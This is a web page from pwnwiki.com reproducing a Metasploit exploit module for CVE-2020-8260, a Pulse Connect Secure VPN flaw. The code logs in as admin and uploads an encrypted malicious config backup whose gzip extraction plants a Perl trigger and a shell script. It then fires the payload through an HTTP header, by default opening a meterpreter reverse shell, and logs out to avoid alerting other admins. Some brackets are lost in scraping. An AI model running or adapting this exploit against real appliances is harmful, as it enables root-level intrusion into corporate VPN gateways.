Loading
0

CVE-2020-8260 Pulse Secure VPN 远程代码执行漏洞

PWNWIK.COM

,

EXP

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
 
class MetasploitModule < Msf::Exploit::Remote
 
  Rank = ExcellentRanking
 
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
 
  ENCRYPTION_KEY = "\x7e\x95\x42\x1a\x6b\x88\x66\x41\x43\x1b\x32\xc5\x24\x42\xe2\xe4\x83\xf8\x1f\x58\xb0\xe9\xe9\xa5".b
 
  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Pulse Secure VPN gzip RCE',
        'Description' => %q{
          The Pulse Connect Secure appliance before 9.1R9 suffers from an uncontrolled gzip extraction vulnerability
          which allows an attacker to overwrite arbitrary files, resulting in Remote Code Execution as root.
          Admin credentials are required for successful exploitation.
          Of note, MANY binaries are not in `$PATH`, but are located in `/home/bin/`.
        },
        'Author' => 
          'h00die', # msf module
          'Spencer McIntyre', # msf module
          'Richard Warren <email protected>', # original PoC, discovery
          'David Cash <email protected>', # original PoC, discovery
        ,
        'References' => 
          'URL', 'https://gist.github.com/rxwx/03a036d8982c9a3cead0c053cf334605',
          'URL', 'https://research.nccgroup.com/2020/10/26/technical-advisory-pulse-connect-secure-rce-via-uncontrolled-gzip-extraction-cve-2020-8260/',
          'URL', 'https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44601',
          'CVE', '2020-8260'
        ,
        'DisclosureDate' => '2020-10-26',
        'License' => MSF_LICENSE,
        'Platform' => 'unix', 'linux',
        'Arch' => ARCH_CMD, ARCH_X86, ARCH_X64,
        'Privileged' => true,
        'Targets' => 
          
            'Unix In-Memory',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :unix_memory,
              'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/generic' }
            }
          ,
          
            'Linux Dropper',
            {
              'Platform' => 'linux',
              'Arch' => ARCH_X86, ARCH_X64,
              'Type' => :linux_dropper,
              'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter_reverse_tcp' }
            }
          
        ,
        'Payload' => { 'Compat' => { 'ConnectionType' => '-bind' } },
        'DefaultOptions' => { 'RPORT' => 443, 'SSL' => true, 'CMDSTAGER::FLAVOR' => 'curl' },
        'DefaultTarget' => 1,
        'Notes' => {
          'Stability' => CRASH_SAFE,
          'Reliability' => REPEATABLE_SESSION,
          'SideEffects' => IOC_IN_LOGS, ARTIFACTS_ON_DISK, CONFIG_CHANGES,
          'RelatedModules' => 'auxiliary/gather/pulse_secure_file_disclosure'
        }
      )
    )
 
    register_options(
      OptString.new('TARGETURI', true, 'The URI of the application', '/'),
      OptString.new('USERNAME', true, 'The username to login with', 'admin'),
      OptString.new('PASSWORD', true, 'The password to login with', '123456')
    )
 
    register_advanced_options(
      OptFloat.new('CMDSTAGER::DELAY',  true, 'Delay between command executions', 1.5 ),
    )
  end
 
  def check(exploiting: false)
    login
    res = send_request_cgi({ 'uri' => normalize_uri('dana-admin', 'misc', 'admin.cgi') })
    fail_with(Failure::UnexpectedReply, 'Failed to retrieve the version information') unless res&.code == 200
    version = res.body.scan(%r{id="span_stats_counter_total_users_count"^>+>(^<(+)(?:\(build (\d+)\))?</span>})&.last
    fail_with(Failure::UnexpectedReply, 'Failed to retrieve the version information') unless version
    version, build = version
 
    return CheckCode::Unknown unless version.include?('R')
 
    version, revision = version.split('R', 2)
    print_status("Version #{version.strip}, revision #{revision.strip}, build #{build.strip} found")
    return CheckCode::Appears if version.to_f <= 9.1 && revision.to_f < 9
 
    CheckCode::Detected
  rescue Msf::Exploit::Failed
    CheckCode::Unknown
  ensure
    logout unless exploiting
  end
 
  def exploit
    case (checkcode = check(exploiting: true))
    when Exploit::CheckCode::Vulnerable, Exploit::CheckCode::Appears
      print_good(checkcode.message)
    when Exploit::CheckCode::Detected
      print_warning(checkcode.message)
    else
      fail_with(Module::Failure::Unknown, checkcode.message.to_s)
    end
 
    case target'Type'
    when :unix_memory
      execute_command(payload.encoded)
    when :linux_dropper
      execute_cmdstager(
        linemax: 262144, # 256KiB
        delay: datastore'CMDSTAGER::DELAY'
      )
    end
 
    logout
  end
 
  def execute_command(command, _opts = {})
    trigger = Rex::Text.rand_text_alpha_upper(8)
    print_status("Exploit trigger will be at #{normalize_uri('dana-na', 'auth', 'setcookie.cgi')} with a header of #{trigger}")
 
    config = build_malicious_config(command, trigger)
    res = upload_config(config)
 
    fail_with(Failure::UnexpectedReply, 'File upload failed') unless res&.code == 200
 
    print_status('Triggering RCE')
    send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'dana-na', 'auth', 'setcookie.cgi'),
      'headers' => { trigger => trigger }
    })
  end
 
  def res_get_xsauth(res)
    res.body.scan(%r{name="xsauth" value="(^"+)"/>})&.last&.first
  end
 
  def upload_config(config)
    print_status('Requesting backup config page')
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'dana-admin', 'cached', 'config', 'config.cgi'),
      'headers' => { 'Referer' => "#{full_uri('/dana-admin/cached/config/config.cgi')}?type=system" },
      'vars_get' => { 'type' => 'system' }
    })
    fail_with(Failure::UnexpectedReply, 'Failed to request the backup configuration page') unless res&.code == 200
    xsauth = res_get_xsauth(res)
    fail_with(Failure::UnexpectedReply, 'Failed to get the xsauth token') if xsauth.nil?
 
    post_data = Rex::MIME::Message.new
    post_data.add_part(xsauth, nil, nil, 'form-data; name="xsauth"')
    post_data.add_part('Import', nil, nil, 'form-data; name="op"')
    post_data.add_part('system', nil, nil, 'form-data; name="type"')
    post_data.add_part('8', nil, nil, 'form-data; name="optWhat"')
    post_data.add_part('', nil, nil, 'form-data; name="txtPassword1"')
    post_data.add_part('Import Config', nil, nil, 'form-data; name="btnUpload"')
    post_data.add_part(config, 'application/octet-stream', 'binary', 'form-data; name="uploaded_file"; filename="system.cfg"')
 
    print_status('Uploading encrypted config backup')
    send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'dana-admin', 'cached', 'config', 'import.cgi'),
      'method' => 'POST',
      'headers' => { 'Referer' => "#{full_uri('/dana-admin/cached/config/config.cgi')}?type=system" },
      'data' => post_data.to_s,
      'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
    })
  end
 
  def login
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'dana-na', 'auth', 'url_admin', 'login.cgi'),
      'method' => 'POST',
      'vars_post' => {
        'tz_offset' => '-300',
        'username' => datastore'USERNAME',
        'password' => datastore'PASSWORD',
        'realm' => 'Admin Users',
        'btnSubmit' => 'Sign In'
      },
      'keep_cookies' => true
    })
 
    fail_with(Failure::UnexpectedReply, 'Login failed') unless res&.code == 302
    location = res.headers'Location'
    fail_with(Failure::NoAccess, 'Login failed') if location.include?('failed')
 
    return unless location.include?('admin%2Dconfirm')
 
    # if the account we login with is already logged in, or another admin is logged in, a warning is displayed.  Click through it.
    print_status('Other admin sessions detected, continuing')
    res = send_request_cgi({ 'uri' => location, 'keep_cookies' => true })
    fail_with(Failure::UnexpectedReply, 'Login failed') unless res&.code == 200
    fds = res.body.scan(/name="FormDataStr" value="(^"+)">/).last
    xsauth = res_get_xsauth(res)
    fail_with(Failure::UnexpectedReply, 'Login failed (missing form elements)') unless fds && xsauth
 
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'dana-na', 'auth', 'url_admin', 'login.cgi'),
      'method' => 'POST',
      'vars_post' => {
        'btnContinue' => 'Continue the session',
        'FormDataStr' => fds.first,
        'xsauth' => xsauth
      },
      'keep_cookies' => true
    })
    fail_with(Failure::UnexpectedReply, 'Login failed') unless res
  end
 
  def logout
    print_status('Logging out to prevent warnings to other admins')
    res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'dana-admin', 'cached', 'config', 'config.cgi') })
    fail_with(Failure::UnexpectedReply, 'Logout failed') unless res&.code == 200
 
    logout_uri = res.body.scan(%r{/dana-na/auth/logout\.cgi\?xsauth=\w+}).first
    fail_with(Failure::UnexpectedReply, 'Logout failed') if logout_uri.nil?
 
    res = send_request_cgi({ 'uri' => logout_uri })
    fail_with(Failure::UnexpectedReply, 'Logout failed') unless res&.code == 302
  end
 
  def build_malicious_config(cmd, trigger)
    payload_script = "#{Rex::Text.rand_text_alphanumeric(rand(6..13))}.sh"
    perl = <<~PERL
      if (length $ENV{HTTP_#{trigger}}){
        chmod 0775, "/data/var/runtime/tmp/tt/#{payload_script}";
        system("env /data/var/runtime/tmp/tt/#{payload_script}");
      }
    PERL
    tarfile = StringIO.new
    Gem::Package::TarWriter.new(tarfile) do |tar|
      tar.mkdir('tmp', 509)
      tar.mkdir('tmp/tt', 509)
      tar.add_file('tmp/tt/setcookie.thtml.ttc', 511) do |tio|
        tio.write perl
      end
      tar.add_file("tmp/tt/#{payload_script}", 511) do |tio|
        tio.write "PATH=/home/bin:$PATH\n"
        tio.write "rm -- \"$0\"\n"
        tio.write cmd
      end
    end
 
    gzfile = StringIO.new
    gz = Zlib::GzipWriter.new(gzfile)
    gz.write(tarfile.string)
    gz.close
 
    encrypt_config(gzfile.string)
  end
 
  def encrypt_config(config_blob)
    cipher = OpenSSL::Cipher.new('DES-EDE3-CFB').encrypt
    iv = cipher.iv = cipher.random_iv
    cipher.key = ENCRYPTION_KEY
 
    md5 = OpenSSL::Digest.new('MD5', "#{iv}\x00#{config_blob.length.pack('V')}")
 
    ciphertext = cipher.update(config_blob)
    ciphertext << cipher.final
    md5 << ciphertext
 
    cipher.reset
    "\x09#{iv}\x00#{ciphertext.length.pack('V') + ciphertext + cipher.update(md5.digest) + cipher.final}"
  end
end

免费、自由、人人可编辑的漏洞库--pwnwiki.com